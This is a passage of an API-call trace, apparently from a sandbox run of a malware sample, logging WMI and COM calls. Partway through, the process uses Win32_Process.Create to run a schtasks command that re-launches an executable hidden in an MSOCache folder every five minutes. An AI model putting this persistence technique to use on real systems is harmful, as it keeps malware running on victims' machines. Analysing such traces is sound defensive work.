pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.865] WbemDefPath:IUnknown:Release (This=0x1b4d1e60) returned 0x3 [0113.865] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0113.866] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0113.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0113.866] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0113.866] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0113.866] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0113.866] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0113.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af0a0) returned 0x0 [0113.866] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0113.866] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0113.866] WbemDefPath:IWbemPath:SetText (This=0x1b4af0a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0113.866] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0113.866] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0113.866] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.866] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0113.866] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0113.866] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0113.866] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.867] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d1d60) returned 0x0 [0113.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1d60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0113.867] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1d60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b07e0) returned 0x0 [0113.867] WbemDefPath:IUnknown:Release (This=0x1b4d1d60) returned 0x0 [0113.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b07e0) returned 0x0 [0113.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0113.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0113.867] WbemDefPath:IUnknown:AddRef (This=0x1b4b07e0) returned 0x3 [0113.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0113.868] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0113.868] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d1d80) returned 0x0 [0113.868] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1d80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.868] WbemDefPath:IUnknown:Release (This=0x1b4d1d80) returned 0x3 [0113.868] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0113.868] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0113.868] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0113.868] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x2 [0113.868] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x1 [0113.868] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0113.868] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0113.868] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b07e0) returned 0x0 [0113.868] WbemDefPath:IUnknown:AddRef (This=0x1b4b07e0) returned 0x3 [0113.868] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x2 [0113.868] WbemDefPath:IWbemPath:SetText (This=0x1b4b07e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0113.868] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af0a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0113.868] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0113.868] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0113.868] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0113.868] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af0a0) returned 0x0 [0113.868] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0113.868] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b07e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0113.868] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b07e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0113.868] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af0a0, uIndex=0x0, pszName="root") returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b07e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b07e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0113.869] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af0a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b07e0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b07e0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af0a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af0a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af0a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af0a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0113.869] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0113.869] WbemLocator:IUnknown:AddRef (This=0x1b4acf18) returned 0x3 [0113.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b4acf18) returned 0x0 [0113.869] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x3 [0113.869] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x2 [0113.869] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0113.869] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0113.870] IWbemServices:GetObject (in: This=0x1b4e0bc0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4cdf50, ppCallResult=0x0) returned 0x0 [0113.875] IWbemClassObject:GetMethod (in: This=0x1b4cdf50, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d97f0, ppOutSignature=0x1b30d610*=0x1b4d9b60) returned 0x0 [0113.875] IWbemClassObject:SpawnInstance (in: This=0x1b4d97f0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4ad8d0) returned 0x0 [0113.875] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aa698*=0, plFlavor=0x29aa69c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aa698*=8, plFlavor=0x29aa69c*=32) returned 0x0 [0113.876] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aa698*=8, plFlavor=0x29aa69c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aa698*=8, plFlavor=0x29aa69c*=32) returned 0x0 [0113.876] IWbemClassObject:Put (This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 5 /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0113.876] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aa728*=0, plFlavor=0x29aa72c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aa728*=13, plFlavor=0x29aa72c*=32) returned 0x0 [0113.876] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aa728*=13, plFlavor=0x29aa72c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aa728*=13, plFlavor=0x29aa72c*=32) returned 0x0 [0113.876] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4ce630) returned 0x0 [0113.876] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0113.876] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0113.876] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0113.876] IUnknown:AddRef (This=0x1b4ce630) returned 0x3 [0113.876] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0113.876] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0113.877] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4ce638) returned 0x0 [0113.877] IMarshal:GetUnmarshalClass (in: This=0x1b4ce638, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0113.877] IUnknown:Release (This=0x1b4ce638) returned 0x3 [0113.877] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0113.877] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0113.877] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0113.877] IUnknown:Release (This=0x1b4ce630) returned 0x2 [0113.877] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0113.877] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0113.877] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0113.877] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0113.877] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0113.877] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0113.877] IUnknown:AddRef (This=0x1b4ce630) returned 0x3 [0113.877] IWbemClassObject:Put (This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4ce630, varVal2=0x0), Type=0) returned 0x0 [0113.877] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0113.877] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0113.878] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0113.878] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0113.878] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0113.878] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.878] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0113.878] WbemLocator:IUnknown:AddRef (This=0x1b4acf18) returned 0x3 [0113.878] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4acf18) returned 0x0 [0113.878] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x3 [0113.878] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x2 [0113.878] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0113.878] WbemLocator:IUnknown:AddRef (This=0x1b4acf18) returned 0x3 [0113.878] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4acf18) returned 0x0 [0113.878] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x3 [0113.878] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x2 [0113.878] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0113.878] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0113.878] IWbemServices:ExecMethod (in: This=0x1b4e0bc0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4ad8d0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b482230, ppCallResult=0x0) returned 0x0 [0113.964] IWbemClassObject:Get (in: This=0x1b482230, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aaa38*=0, plFlavor=0x29aaa3c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f4, varVal2=0x0), pType=0x29aaa38*=19, plFlavor=0x29aaa3c*=0) returned 0x0 [0113.964] IWbemClassObject:Get 